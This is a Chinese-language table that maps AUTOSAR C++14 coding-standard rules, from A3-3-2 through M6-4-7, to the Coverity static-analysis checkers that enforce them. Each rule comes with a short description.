A3-3-2	静态或线程本地对象应是常量初始化的。	AUTOSAR C++14 A3-3-2
A3-8-1	不应在对象的生命周期之外访问它。	AUTOSAR C++14 A3-8-1
A3-9-1	应该使用来自指示大小和符号的 <cstdint> 的固定宽度整数类型代替基本数值类型。	AUTOSAR C++14 A3-9-1
A4-5-1	不应将具有类型 enum 或 enum 类的表达式用作内置和重载运算符的操作数，以下运算符除外：下标运算符 []，赋值运算符 =，等号运算符 == 和 !=，一元 & 运算符以及关系运算符 <、<=、>、>=。	AUTOSAR C++14 A4-5-1
A4-7-1	整数表达式不应导致数据丢失。	AUTOSAR C++14 A4-7-1
A4-10-1	只有 nullptr 常量应用作 null 指针常量。	AUTOSAR C++14 A4-10-1
A5-0-1	在标准允许的任何求值顺序下，表达式的值都应相同。	AUTOSAR C++14 A5-0-1
A5-0-2	if 语句的条件和迭代语句的条件都应具有 bool 类型。	AUTOSAR C++14 A5-0-2
A5-0-3	对象的声明不应包含超过两级的指针间接。	AUTOSAR C++14 A5-0-3
A5-0-4	Pointer arithmetic 不应与指向非 final 类的指针一起使用。	AUTOSAR C++14 A5-0-4
A5-1-1	除类型初始化以外，不应使用常量值，否则应改为使用符号名称。	AUTOSAR C++14 A5-1-1
A5-1-2	不应在 lambda 表达式中隐式捕获变量。	AUTOSAR C++14 A5-1-2
A5-1-3	参数列表 (可能为空) 应包含在每个 lambda 表达式中。	AUTOSAR C++14 A5-1-3
A5-1-4	Lambda 表达式对象不应超过任何其引用捕获的对象。	AUTOSAR C++14 A5-1-4

名称	说明	Coverity 检查器
A5-1-6	应显式指定非 void 返回类型 lambda 表达式的返回类型。	AUTOSAR C++14 A5-1-6
A5-1-7	Lambda 不应是 decltype 或 typeid 的操作数。	AUTOSAR C++14 A5-1-7
A5-1-8	不应在另一个 lambda 表达式中定义 lambda 表达式。	AUTOSAR C++14 A5-1-8
A5-1-9	相同的未命名 lambda 表达式应被替换为命名函数或命名 lambda 表达式。	AUTOSAR C++14 A5-1-9
A5-2-1	不应使用 dynamic_cast。	AUTOSAR C++14 A5-2-1
A5-2-2	不应使用传统 C 样式转换。	AUTOSAR C++14 A5-2-2
A5-2-3	指针或引用类型的转换将不应移除任何常量或易失性属性。	AUTOSAR C++14 A5-2-3
A5-2-4	不应使用 reinterpret_cast。	AUTOSAR C++14 A5-2-4
A5-2-5	不应超过数组或容器的范围访问它们。	AUTOSAR C++14 A5-2-5
A5-2-6	如果操作数包含二进制运算符，逻辑 && 或    的操作数应加上圆括号。	AUTOSAR C++14 A5-2-6
A5-3-1	typeid 运算符的操作数的求值不应包含其他作用。	AUTOSAR C++14 A5-3-1
A5-3-2	不应解引用 null 指针。	AUTOSAR C++14 A5-3-2
A5-3-3	不应删除指向不完整类类型的指针。	AUTOSAR C++14 A5-3-3
A5-5-1	指向成员的指针不应访问不存在的类成员。	AUTOSAR C++14 A5-5-1
A5-6-1	整数除法或余数运算符的右操作数不应等于零。	AUTOSAR C++14 A5-6-1
A5-10-1	指向成员虚函数的指针应被测试是否等于 null 指针常量。	AUTOSAR C++14 A5-10-1
A5-16-1	三元条件运算符不应被用作子表达式。	AUTOSAR C++14 A5-16-1
A6-2-1	移动和拷贝赋值运算符应移动或分别拷贝类的基类和数据成员，而不产生任何其他作用。	AUTOSAR C++14 A6-2-1
A6-2-2	表达式语句不应仅是对临时对象的构造函数的显式调用。	AUTOSAR C++14 A6-2-2
A6-4-1	Switch 语句应至少具有两个 case 子句，与默认标签不同。	AUTOSAR C++14 A6-4-1

名称	说明	Coverity 检查器
A6-5-1	不应使用依次通过容器的所有元素而不使用其循环计数器的 for 循环。	AUTOSAR C++14 A6-5-1
A6-5-2	For 循环应包含一个不应具有浮点类型的循环计数器。	AUTOSAR C++14 A6-5-2
A6-5-3	不应使用 do 语句。	AUTOSAR C++14 A6-5-3
A6-5-4	For-init 语句和表达式不应执行除循环计数器初始化和修改之外的其他操作。	AUTOSAR C++14 A6-5-4
A6-6-1	不应使用 goto 语句。	AUTOSAR C++14 A6-6-1
A7-1-1	Constexpr 或 const 说明符应用于不可变的数据声明。	AUTOSAR C++14 A7-1-1
A7-1-2	对于在编译时可以确定的值，应使用 constexpr 说明符。	AUTOSAR C++14 A7-1-2
A7-1-3	CV 限定符应放在是 typedef 或 using 名称的类型的右侧。	AUTOSAR C++14 A7-1-3
A7-1-4	不应使用 register 关键字。	AUTOSAR C++14 A7-1-4
A7-1-5	Auto 说明符不应用于除以下情况以外的情况：(1) 声明变量的类型与函数调用的返回类型相同，(2) 声明变量的类型与非基础类型的初始化器相同，(3) 声明通用 lambda 表达式的参数，(4) 使用尾部返回类型语法声明函数模板。	AUTOSAR C++14 A7-1-5
A7-1-6	不应使用 typedef 说明符。	AUTOSAR C++14 A7-1-6
A7-1-7	每个表达式语句和标识符声明都应放置在单独的行中。	AUTOSAR C++14 A7-1-7
A7-1-8	在声明中，非类型说明符应放置在类型说明符之前。	AUTOSAR C++14 A7-1-8
A7-1-9	类、结构或枚举不应在其类型定义中声明。	AUTOSAR C++14 A7-1-9
A7-2-1	具有 enum 基础类型的表达式只应具有与枚举的枚举器对应的值。	AUTOSAR C++14 A7-2-1
A7-2-2	应显式定义枚举基础基类型。	AUTOSAR C++14 A7-2-2
A7-2-3	枚举应声明为限定范围的 enum 类。	AUTOSAR C++14 A7-2-3
A7-2-4	在枚举中，(1) 无，(2) 第一个或 (3) 所有枚举器都应初始化。	AUTOSAR C++14 A7-2-4

名称	说明	Coverity 检查器
A7-3-1	函数的所有重载都应从调用它的位置可见。	AUTOSAR C++14 A7-3-1
A7-4-1	不应使用 asm 声明。	AUTOSAR C++14 A7-4-1
A7-5-1	函数不应返回通过引用常量传递的参数的引用或指针。	AUTOSAR C++14 A7-5-1
A7-5-2	函数不应直接或间接调用自身。	AUTOSAR C++14 A7-5-2
A7-6-1	不应返回使用 [[noreturn]] 属性声明的函数。	AUTOSAR C++14 A7-6-1
A8-2-1	在声明函数模板时，如果返回类型取决于参数的类型，则应使用尾部返回类型语法。	AUTOSAR C++14 A8-2-1
A8-4-1	不应使用 ellipsis 注解定义函数。	AUTOSAR C++14 A8-4-1
A8-4-2	返回非 void 类型的函数的所有退出路径都应具有包含表达式的显式返回语句。	AUTOSAR C++14 A8-4-2
A8-4-4	函数的多个输出值应以结构或元组的形式返回。	AUTOSAR C++14 A8-4-4
A8-4-5	应始终移除被声明为 X && 的“consume”参数。	AUTOSAR C++14 A8-4-5
A8-4-6	应始终转发被声明为 T && 的“forward”参数。	AUTOSAR C++14 A8-4-6
A8-4-7	应通过值传递“cheap to copy”类型的“in”参数。	AUTOSAR C++14 A8-4-7
A8-4-8	不应使用输出参数。	AUTOSAR C++14 A8-4-8
A8-4-9	应修改被声明为 T & 的“in-out”参数。	AUTOSAR C++14 A8-4-9
A8-4-10	如果参数不能为 NULL，则它应该通过引用传递。	AUTOSAR C++14 A8-4-10
A8-4-11	只有当智能指针表示生命周期语义时，它才能用作参数类型。	AUTOSAR C++14 A8-4-11
A8-4-12	std::unique_ptr 应在以下情况下传递给函数：(1) 副本表示该函数拥有所有权 (2) 左值引用表示该函数替换托管的对象。	AUTOSAR C++14 A8-4-12
A8-4-13	std::shared_ptr 应在以下情况下传递给函数：(1) 副本表示该函数共享所有权 (2) 左值引用表示该函数替换托管的对象 (3) 常量左值引用表示该函数保留引用计数。	AUTOSAR C++14 A8-4-13

名称	说明	Coverity 检查器
A8-5-0	所有内存在被读取之前都应初始化。	AUTOSAR C++14 A8-5-0
A8-5-1	在初始化列表中，初始化的顺序应如下：(1) 继承图的深度和从左向右顺序的虚基类，(2) 继承列表从左向右顺序的直接基类，(3) 按类定义中声明的顺序排列的非静态数据成员。	AUTOSAR C++14 A8-5-1
A8-5-2	没有等号符号的带大括号的初始化 {} 应被用于变量初始化。	AUTOSAR C++14 A8-5-2
A8-5-3	类型 auto 的变量不应使用 {} 或 ={} 带大括号的初始化进行初始化。	AUTOSAR C++14 A8-5-3
A8-5-4	如果类具有获取类型为 std::initializer_list 的参数的用户声明的构造函数，则它应是除特殊成员函数构造函数之外的唯一构造函数。	AUTOSAR C++14 A8-5-4
A9-3-1	成员函数不应返回非常量“raw”指针或对该类拥有的私有或受保护数据的引用。	AUTOSAR C++14 A9-3-1
A9-5-1	不应使用联合。	AUTOSAR C++14 A9-5-1
A9-6-1	用于与硬件接口或符合通信协议的数据类型应该是不重要的标准布局，并且只包含具有定义大小的类型的成员。	AUTOSAR C++14 A9-6-1
A10-1-1	类不应派生自多个不是接口类的多个基类。	AUTOSAR C++14 A10-1-1
A10-2-1	非虚公共或受保护的成员函数不应在派生类中重新定义。	AUTOSAR C++14 A10-2-1
A10-3-1	虚函数声明应仅包含以下三个说明符之一：(1) virtual，(2) override，(3) final。	AUTOSAR C++14 A10-3-1
A10-3-2	每个覆盖虚函数都应使用 override 或 final 说明符声明。	AUTOSAR C++14 A10-3-2
A10-3-3	不应在 final 类中引入虚函数。	AUTOSAR C++14 A10-3-3
A10-3-5	用户定义的赋值运算符不应为虚运算符。	AUTOSAR C++14 A10-3-5
A11-0-1	非 POD 类型应被定义为类。	AUTOSAR C++14 A11-0-1

名称	说明	Coverity 检查器
A11-0-2	定义为结构的类型应 : (1) 仅提供公共数据成员 , (2) 不提供任何特殊成员函数或方法 , (3) 不是另一个结构或类的基 , (4) 不继承自另一个结构或类。	AUTOSAR C++14 A11-0-2
A11-3-1	不应使用 friend 声明。	AUTOSAR C++14 A11-3-1
A12-0-1	如果类声明拷贝或移动运算或析构函数 , 无论是通过“=default”、“=delete” , 还是通过用户提供的声明 , 则也应声明所有其他这五个特殊成员函数。	AUTOSAR C++14 A12-0-1
A12-0-2	不应针对对象执行假定内存中的数据表示的位运算和运算。	AUTOSAR C++14 A12-0-2
A12-1-1	构造函数应显式初始化所有虚基类、所有直接非虚基类和所有非静态数据成员。	AUTOSAR C++14 A12-1-1
A12-1-2	构造函数中的 NSDMI 和非静态成员初始化器都不应在同一类型中使用。	AUTOSAR C++14 A12-1-2
A12-1-3	如果类的所有用户定义的构造函数都使用所有构造函数之间相同的常量值初始化数据成员 , 则数据成员应该改为使用 NSDMI 进行初始化。	AUTOSAR C++14 A12-1-3
A12-1-4	所有可通过单个基本类型的参数调用的构造函数都应显式声明。	AUTOSAR C++14 A12-1-4
A12-1-5	非常量成员的公共类初始化应由委托构造函数完成。	AUTOSAR C++14 A12-1-5
A12-1-6	不需要进一步显式初始化并需要基类中的所有构造函数的派生类将使用继承构造函数。	AUTOSAR C++14 A12-1-6
A12-4-1	基类的析构函数应该是公共虚函数、公共覆盖函数或受保护的非虚函数。	AUTOSAR C++14 A12-4-1
A12-4-2	如果类的公共析构函数是非虚函数 , 则该类应被声明为 final。	AUTOSAR C++14 A12-4-2
A12-6-1	构造函数初始化的所有类数据成员都应使用成员初始化器进行初始化。	AUTOSAR C++14 A12-6-1
A12-7-1	如果用户定义的特殊成员函数的行为与隐式定义的特殊成员函数相	AUTOSAR C++14 A12-7-1

名称	说明	Coverity 检查器
	同，则它应被定义为“=default”或保留未定义。	
A12-8-1	移动和拷贝构造函数应移动并分别拷贝类的基类和数据成员，不会产生任何其他作用。	AUTOSAR C++14 A12-8-1
A12-8-2	用户定义的拷贝和移动赋值运算符应使用用户定义的无抛出交换函数。	AUTOSAR C++14 A12-8-2
A12-8-3	不应读取访问移出对象。	AUTOSAR C++14 A12-8-3
A12-8-4	移动构造函数不应使用拷贝语义初始化其类成员和基类。	AUTOSAR C++14 A12-8-4
A12-8-5	拷贝赋值和移动赋值运算符应处理自赋值。	AUTOSAR C++14 A12-8-5
A12-8-6	在基类中，拷贝和移动构造函数以及拷贝赋值和移动赋值运算符应声明为 protected 或定义为“=delete”。	AUTOSAR C++14 A12-8-6
A12-8-7	赋值运算符应使用 ref 限定符 & 声明。	AUTOSAR C++14 A12-8-7
A13-1-2	用户定义的常量运算符的用户定义后缀应以下划线开头，并后跟一个或多个字母。	AUTOSAR C++14 A13-1-2
A13-1-3	用户定义的常量运算符应仅执行传递参数的转换。	AUTOSAR C++14 A13-1-3
A13-2-1	赋值运算符应返回对“this”的引用。	AUTOSAR C++14 A13-2-1
A13-2-2	二进制算术运算符和位运算符应返回“prvalue”。	AUTOSAR C++14 A13-2-2
A13-2-3	关系运算符应返回布尔值。	AUTOSAR C++14 A13-2-3
A13-3-1	如果函数包含“转发引用”作为其参数，则不应重载。	AUTOSAR C++14 A13-3-1
A13-5-1	如果要使用非常量版本重载“operator[]”，则还应实现常量版本。	AUTOSAR C++14 A13-5-1
A13-5-2	所有用户定义的转换运算符都应显式定义。	AUTOSAR C++14 A13-5-2
A13-5-3	不应使用用户定义的转换运算符。	AUTOSAR C++14 A13-5-3
A13-5-4	如果定义了两个相反的运算符，一个应根据另一个进行定义。	AUTOSAR C++14 A13-5-4

名称	说明	Coverity 检查器
A13-5-5	比较运算符应为参数类型相同且 noexcept 的非成员函数。	AUTOSAR C++14 A13-5-5
A13-6-1	数字序列分隔符仅应按如下方式使用：(1) 对于十进制数字，每隔 3 位，(2) 对于十六进制数字，每隔 2 位，(3) 对于二进制数字，每隔 4 位。	AUTOSAR C++14 A13-6-1
A14-1-1	模板应该检查是否有适合该模板的特定模板参数。	AUTOSAR C++14 A14-1-1
A14-5-1	模板构造函数不应参与封装类类型的单个参数的重载解析。	AUTOSAR C++14 A14-5-1
A14-5-2	不依赖于模板类参数的类成员应在单独的基类中定义。	AUTOSAR C++14 A14-5-2
A14-5-3	非成员通用运算符仅应在不包含类（构造）类型、枚举类型或联合类型声明的命名空间中声明。	AUTOSAR C++14 A14-5-3
A14-7-1	用作模板参数的类型应提供该模板使用的所有成员。	AUTOSAR C++14 A14-7-1
A14-7-2	模板具体化应在以下相同文件中声明：(1) 与声明具体化的主模板相同的文件 (2) 与声明具体化的用户定义的类型相同的文件。	AUTOSAR C++14 A14-7-2
A14-8-2	不应使用函数模板的显式具体化。	AUTOSAR C++14 A14-8-2
A15-0-2	对于所有运算，针对异常安全应至少提供基本保证。另外，每个函数都可以提供强有力的保证或不抛出的保证。	AUTOSAR C++14 A15-0-2
A15-0-3	应考虑被调用函数的异常安全保证。	AUTOSAR C++14 A15-0-3
A15-0-7	异常处理机制应保证确定的最坏情况下的执行时间。	AUTOSAR C++14 A15-0-7
A15-1-1	仅应抛出派生自 std::exception 的类型的实例。	AUTOSAR C++14 A15-1-1
A15-1-2	异常对象不应是指针。	AUTOSAR C++14 A15-1-2
A15-1-3	所有抛出的异常都应唯一。	AUTOSAR C++14 A15-1-3
A15-1-4	如果函数异常退出，则在抛出之前，该函数应安置其在有效状态下构造的所有对象/资源，或将它们删除。	AUTOSAR C++14 A15-1-4
A15-1-5	不应跨执行边界抛出异常。	AUTOSAR C++14 A15-1-5

名称	说明	Coverity 检查器
A15-2-1	在程序启动之前，不应调用非 noexcept 的构造函数。	AUTOSAR C++14 A15-2-1
A15-2-2	如果构造函数不是 noexcept 且构造函数不能完成对象初始化，则它应释放对象的资源并抛出异常。	AUTOSAR C++14 A15-2-2
A15-3-3	主函数和任务主函数应至少捕获：使用的所有第三方库中的基类异常、std::exception 和所有其他未处理的异常。	AUTOSAR C++14 A15-3-3
A15-3-4	Catch-all ( ellipsis 和 std::exception ) 处理程序仅应用于以下情况 (a) 主函数，(b) 任务主函数，(c) 在应该隔离独立组件的函数中，以及 (d) 在调用不按照 AUTOSAR C++14 准则使用异常的第三方代码时。	AUTOSAR C++14 A15-3-4
A15-3-5	类类型异常应由引用或 const 引用捕获。	AUTOSAR C++14 A15-3-5
A15-4-1	不应使用动态异常规范。	AUTOSAR C++14 A15-4-1
A15-4-2	如果函数被声明为 noexcept、noexcept(true) 或 noexcept(<true condition>)，则它不应异常退出。	AUTOSAR C++14 A15-4-2
A15-4-3	函数的 noexcept 规范在所有编译单元之间都应相同，或者在虚成员函数和覆盖器之间相同或有更严格的限制。	AUTOSAR C++14 A15-4-3
A15-4-4	非抛出函数声明应包含 noexcept 规范。	AUTOSAR C++14 A15-4-4
A15-4-5	可能从函数中抛出的已检查异常应与函数声明一起指定，它们在所有函数声明中以及对其所有覆盖者都应是相同的。	AUTOSAR C++14 A15-4-5
A15-5-1	所有用户提供的析构函数、释放函数、移动构造函数、移动赋值运算符和交换函数均不应异常退出。应酌情将 noexcept 异常规范添加到这些函数中。	AUTOSAR C++14 A15-5-1
A15-5-2	程序不应突然终止。特别是，不应该隐式或显式地调用 std::abort()、std::quick_exit()、std::_Exit()、std::terminate()。	AUTOSAR C++14 A15-5-2

名称	说明	Coverity 检查器
A15-5-3	不应隐式调用 std::terminate() 函数。	AUTOSAR C++14 A15-5-3
A16-0-1	预处理器仅应用于无条件和有条件的文件包含及 include 保护，并使用以下指令：(1) #ifndef、(2) #ifdef、(3) #if、(4) #if defined、(5) #elif、(6) #else、(7) #define、(8) #endif、(9) #include。	AUTOSAR C++14 A16-0-1
A16-2-1	头文件名称或 #include 指令中不应出现 '、"、/*、//、\ 字符。	AUTOSAR C++14 A16-2-1
A16-2-2	不应有未使用的包含指令。	AUTOSAR C++14 A16-2-2
A16-2-3	对于文件中使用的每个符号，都应显式地添加包含指令。	AUTOSAR C++14 A16-2-3
A16-6-1	不应使用 #error 指令。	AUTOSAR C++14 A16-6-1
A16-7-1	不应使用 #pragma 指令。	AUTOSAR C++14 A16-7-1
A17-0-1	不应定义、重新定义或取消定义 C++ 标准库中的保留标识符、宏和函数。	AUTOSAR C++14 A17-0-1
A17-1-1	C 标准库的使用应被封装和隔离。	AUTOSAR C++14 A17-1-1
A17-6-1	不应将非标准实体添加到标准命名空间中。	AUTOSAR C++14 A17-6-1
A18-0-1	C 库工具应只能通过 C++ 库头文件访问。	AUTOSAR C++14 A18-0-1
A18-0-2	应检查从字符串到数值的转换的错误状态。	AUTOSAR C++14 A18-0-2
A18-0-3	不应使用库 <clocale> (locale.h) 和 setlocale 函数。	AUTOSAR C++14 A18-0-3
A18-1-1	不应使用 C 样式数组。	AUTOSAR C++14 A18-1-1
A18-1-2	不应使用 std::vector<bool> 具体化。	AUTOSAR C++14 A18-1-2
A18-1-3	不应使用 std::auto_ptr 类型。	AUTOSAR C++14 A18-1-3
A18-1-4	指向对象数组的元素的指针不应被传递给单个对象类型的智能指针。	AUTOSAR C++14 A18-1-4
A18-1-6	用户定义的类型的所有 std::hash 具体化都应该具有 noexcept 函数调用运算符。	AUTOSAR C++14 A18-1-6
A18-5-1	不应使用函数 malloc、calloc、realloc 和 free。	AUTOSAR C++14 A18-5-1

名称	说明	Coverity 检查器
A18-5-2	不应使用非 placement new 或 delete 表达式。	AUTOSAR C++14 A18-5-2
A18-5-3	Delete 表达式的形式应与用于分配内存的 new 表达式的形式匹配。	AUTOSAR C++14 A18-5-3
A18-5-4	如果项目全局定义了运算符“delete”的分大小或不分大小的版本，则应同时定义分大小和不分大小的版本。	AUTOSAR C++14 A18-5-4
A18-5-5	内存管理函数应确保以下各项： (a) 由于存在最坏情况的执行时间而导致的确定性行为，(b) 避免内存碎片，(c) 避免内存耗尽，(d) 避免不匹配的分配或释放，(e) 不依赖对内核的非确定性调用。	AUTOSAR C++14 A18-5-5
A18-5-8	时效短于函数的对象应具有自动存储持续时间。	AUTOSAR C++14 A18-5-8
A18-5-9	动态内存分配和释放函数的自定义实现应该满足 C++ 标准中相应的“必要行为”子句中指定的语义要求。	AUTOSAR C++14 A18-5-9
A18-5-10	Placement new 仅应与适当对齐的指针一起使用，以达到足够的存储容量。	AUTOSAR C++14 A18-5-10
A18-5-11	应一起定义“operator new”和“operator delete”。	AUTOSAR C++14 A18-5-11
A18-9-1	不应使用 std::bind。	AUTOSAR C++14 A18-9-1
A18-9-2	将值转发到其他函数应通过以下方式执行：(1) std::move，如果值为右值引用，(2) std::forward，如果值为转发引用。	AUTOSAR C++14 A18-9-2
A18-9-3	不应在声明了 const 或 const& 的对象上使用 std::move。	AUTOSAR C++14 A18-9-3
A18-9-4	不应随后使用 std::forward 的参数。	AUTOSAR C++14 A18-9-4
A20-8-1	已拥有的指针值不应存储在无关的智能指针中。	AUTOSAR C++14 A20-8-1
A20-8-2	不应使用 std::unique_ptr 来表示独占所有权。	AUTOSAR C++14 A20-8-2
A20-8-3	std::shared_ptr 应用于表示共享所有权。	AUTOSAR C++14 A20-8-3

名称	说明	Coverity 检查器
A20-8-4	如果不需所有权共享，应该使用 std::unique_ptr 来代替 std::shared_ptr。	AUTOSAR C++14 A20-8-4
A20-8-5	std::make_unique 应用于构造 std::unique_ptr 拥有的对象。	AUTOSAR C++14 A20-8-5
A20-8-6	std::make_shared 应用于构造 std::shared_ptr 拥有的对象。	AUTOSAR C++14 A20-8-6
A20-8-7	std::weak_ptr 应用于表示临时共享所有权。	AUTOSAR C++14 A20-8-7
A21-8-1	字符处理函数的参数应可表示为无符号字符。	AUTOSAR C++14 A21-8-1
A23-0-1	Iterator 不应隐式转换为 const_iterator。	AUTOSAR C++14 A23-0-1
A23-0-2	容器的元素只应通过有效的引用、 iterator 和指针访问。	AUTOSAR C++14 A23-0-2
A25-1-1	不应拷贝与此对象的标识相关的状态的非静态数据成员或谓词函数对象的捕获值。	AUTOSAR C++14 A25-1-1
A25-4-1	与关联容器和 STL 排序及相关算法一起使用的排序谓词应遵循严格的弱排序关系。	AUTOSAR C++14 A25-4-1
A26-5-1	不应使用 std::rand() 生成伪随机数。	AUTOSAR C++14 A26-5-1
A26-5-2	不应默认初始化随机数引擎。	AUTOSAR C++14 A26-5-2
A27-0-2	C 样式字符串应保证数据和 null 终止符有足够的空间。	AUTOSAR C++14 A27-0-2
A27-0-3	在未插入中间 flush 或定位调用的情况下，不应使用对文件流的交替输入和输出操作。	AUTOSAR C++14 A27-0-3
A27-0-4	不应使用 C 样式字符串。	AUTOSAR C++14 A27-0-4
M0-1-1	项目不应包含无法到达的代码。	AUTOSAR C++14 M0-1-1
M0-1-2	项目不应包含不可达的路径。	AUTOSAR C++14 M0-1-2
M0-1-3	项目不应包含未使用的变量。	AUTOSAR C++14 M0-1-3
M0-1-4	项目不应包含只使用一次的非易失性 POD 变量。	AUTOSAR C++14 M0-1-4
M0-1-8	返回 void 类型的所有函数都有外部其他作用。	AUTOSAR C++14 M0-1-8
M0-1-9	不应存在无用代码。	AUTOSAR C++14 M0-1-9

名称	说明	Coverity 检查器
M0-1-10	每个定义的函数至少应调用一次。	AUTOSAR C++14 M0-1-10
M0-2-1	不应将对象分配给重叠的对象。	AUTOSAR C++14 M0-2-1
M0-3-2	如果函数生成了错误信息，则应该测试该错误信息。	AUTOSAR C++14 M0-3-2
M2-7-1	不应在 C 风格注释中使用字符序列 /*。	AUTOSAR C++14 M2-7-1
M2-10-1	不同的标识符在排字上应该清楚明确。	AUTOSAR C++14 M2-10-1
M2-13-2	不应使用八进制常量（零除外）和八进制转义序列（“0”除外）。	AUTOSAR C++14 M2-13-2
M2-13-3	应对所有无符号类型的八进制或十六进制整数常量应用“U”后缀。	AUTOSAR C++14 M2-13-3
M2-13-4	常数值后缀应该采用大写。	AUTOSAR C++14 M2-13-4
M3-1-2	函数不应在块范围内声明。	AUTOSAR C++14 M3-1-2
M3-2-1	对象或函数的所有声明都应具有兼容类型。	AUTOSAR C++14 M3-2-1
M3-2-2	不应违反“一个定义规则”(One Definition Rule)。	AUTOSAR C++14 M3-2-2
M3-2-3	在多个编译单元中使用的类型、对象或函数应在一个且仅在一个文件中声明。	AUTOSAR C++14 M3-2-3
M3-2-4	包含外部链接的标识符应只具有一个定义。	AUTOSAR C++14 M3-2-4
M3-3-2	如果函数包含内部链接，则所有重新声明应包括静态存储类说明符。	AUTOSAR C++14 M3-3-2
M3-4-1	声明为对象或类型的标识符应在最小化其可见性的块中定义。	AUTOSAR C++14 M3-4-1
M3-9-1	用于对象、函数返回类型或函数参数的类型在所有声明和重新声明中均应为标识符相同。	AUTOSAR C++14 M3-9-1
M3-9-3	不应使用浮点值的基础位表示法。	AUTOSAR C++14 M3-9-3
M4-5-1	不应将具有 bool 类型的表达式用作内置运算符的操作数，以下运算符除外：赋值运算符 =、逻辑运算符 &&、  、!、等号运算符 == 和 !=、一元 & 运算符以及条件运算符。	AUTOSAR C++14 M4-5-1
M4-5-3	不应将具有（普通）char 和 wchar_t 类型的表达式用作内置	AUTOSAR C++14 M4-5-3

名称	说明	Coverity 检查器
	运算符的操作数，以下运算符除外：赋值运算符 =、等号运算符 == 和 != 以及一元 & 运算符。	
M4-10-1	不应将 NULL 用作整数值。	AUTOSAR C++14 M4-10-1
M4-10-2	不应将常数值零 (0) 用作非指针常量。	AUTOSAR C++14 M4-10-2
M5-0-2	在表达式中，应有限地依赖 C++ 运算符优先规则。	AUTOSAR C++14 M5-0-2
M5-0-3	不应将 cvalue 表达式隐式转换为其他基础类型。	AUTOSAR C++14 M5-0-3
M5-0-4	隐式整数转换不应改变基础类型的符号。	AUTOSAR C++14 M5-0-4
M5-0-5	不应存在隐式浮点-整数转换。	AUTOSAR C++14 M5-0-5
M5-0-6	隐式整数或浮点转换不应减小基础类型的大小。	AUTOSAR C++14 M5-0-6
M5-0-7	cvalue 表达式不应存在显式浮点-整数转换。	AUTOSAR C++14 M5-0-7
M5-0-8	显式整数或浮点转换不应增加 cvalue 表达式基础类型的大小。	AUTOSAR C++14 M5-0-8
M5-0-9	显式整数转换不应改变 cvalue 表达式基础类型的符号。	AUTOSAR C++14 M5-0-9
M5-0-10	如果对基础类型为无符号 char 或无符号 short 的操作数应用了位运算符 ~ 和 <<，结果应立即转换为操作数的基础类型。	AUTOSAR C++14 M5-0-10
M5-0-11	普通 char 类型只应该用于存储，并使用字符值。	AUTOSAR C++14 M5-0-11
M5-0-12	带符号的和无符号的 char 类型只应该用于存储，并使用数字值。	AUTOSAR C++14 M5-0-12
M5-0-14	条件运算符的第一个操作数应具有 bool 类型。	AUTOSAR C++14 M5-0-14
M5-0-15	数组索引应该是指针算术运算唯一的形式。	AUTOSAR C++14 M5-0-15
M5-0-16	指针操作数以及通过针对该操作数的指针算术运算获得的指针应访问相同数组的元素。	AUTOSAR C++14 M5-0-16
M5-0-17	指针之间的减法运算只应该应用到访问同一数组的元素的指针。	AUTOSAR C++14 M5-0-17

名称	说明	Coverity 检查器
M5-0-18	不应对类型为指针的对象应用 <code>&gt;</code> 、 <code>&gt;=</code> 、 <code>&lt;</code> 和 <code>&lt;=</code> ，除非它们指向同一数组。	AUTOSAR C++14 M5-0-18
M5-0-20	二进制位运算符的非常量操作数应具有相同的基础类型。	AUTOSAR C++14 M5-0-20
M5-0-21	位运算符只应该应用于无符号基础类型的操作数。	AUTOSAR C++14 M5-0-21
M5-2-2	只应通过 <code>dynamic_cast</code> 将虚基类的指针转换为继承类的指针。	AUTOSAR C++14 M5-2-2
M5-2-3	不应对多态类型执行基类到继承类的转换。	AUTOSAR C++14 M5-2-3
M5-2-6	转换不应将函数指针转换为任何其他指针类型，包括函数类型指针。	AUTOSAR C++14 M5-2-6
M5-2-8	不应将具有整数类型或 <code>void</code> 类型指针的对象转换为具有指针类型的对象。	AUTOSAR C++14 M5-2-8
M5-2-9	转换不应将指针类型转换为整数类型。	AUTOSAR C++14 M5-2-9
M5-2-10	在表达式中，递增 <code>(++)</code> 和递减 <code>(--)</code> 运算符不应与其他运算符混合使用。	AUTOSAR C++14 M5-2-10
M5-2-11	逗号运算符、 <code>&amp;&amp;</code> 运算符和 <code>  </code> 运算符不应重载。	AUTOSAR C++14 M5-2-11
M5-2-12	作为函数参数传递的类型为数组的标识符不应退化为指针。	AUTOSAR C++14 M5-2-12
M5-3-1	<code>!</code> 运算符、逻辑运算符 <code>&amp;&amp;</code> 或 <code>  </code> 的每个操作数的类型都应为 <code>bool</code> 。	AUTOSAR C++14 M5-3-1
M5-3-2	不应对基础类型为无符号类型的表达式应用一元减运算符。	AUTOSAR C++14 M5-3-2
M5-3-3	一元 <code>&amp;</code> 运算符不应重载。	AUTOSAR C++14 M5-3-3
M5-3-4	<code>sizeof</code> 运算符的操作数的求值不应包含其他作用。	AUTOSAR C++14 M5-3-4
M5-8-1	移位运算符的右操作数应介于 0 和左操作数基础类型的位宽度之间。	AUTOSAR C++14 M5-8-1
M5-14-1	逻辑运算符 <code>&amp;&amp;</code> 、 <code>  </code> 的右操作数不应包含其他作用。	AUTOSAR C++14 M5-14-1
M5-18-1	不应使用逗号运算符。	AUTOSAR C++14 M5-18-1
M5-19-1	无符号的整数常量表达式的求值不应导致溢出。	AUTOSAR C++14 M5-19-1

名称	说明	Coverity 检查器
M6-2-1	不应在子表达式中使用赋值运算符。	AUTOSAR C++14 M6-2-1
M6-2-2	不应直接或间接对浮点表达式执行相等或不等测试。	AUTOSAR C++14 M6-2-2
M6-2-3	在预处理之前，null 语句只能单独一行出现；该 null 语句可后接注释，前提是该语句后接的第一个字符是空格。	AUTOSAR C++14 M6-2-3
M6-3-1	构成 switch、while、do ... while 或 for 语句主体的语句应该是复合语句。	AUTOSAR C++14 M6-3-1
M6-4-1	if ( 条件 ) 结构应该后接复合语句。else 关键字应该后接复合语句或另一个 if 语句。	AUTOSAR C++14 M6-4-1
M6-4-2	所有 if ... else if 结构应以 else 子句结束。	AUTOSAR C++14 M6-4-2
M6-4-3	switch 语句应是符合语法的 switch 语句。	AUTOSAR C++14 M6-4-3
M6-4-4	switch 标签只应在最里层的复合语句是 switch 语句的主体时使用。	AUTOSAR C++14 M6-4-4
M6-4-5	无条件的 throw 或 break 语句应该终止每一个非空 switch 子句。	AUTOSAR C++14 M6-4-5
M6-4-6	switch 语句的最终子句应该是 default 子句。	AUTOSAR C++14 M6-4-6
M6-4-7	switch 语句的条件不应包含 bool 类型。	AUTOSAR C++14 M6-4-7
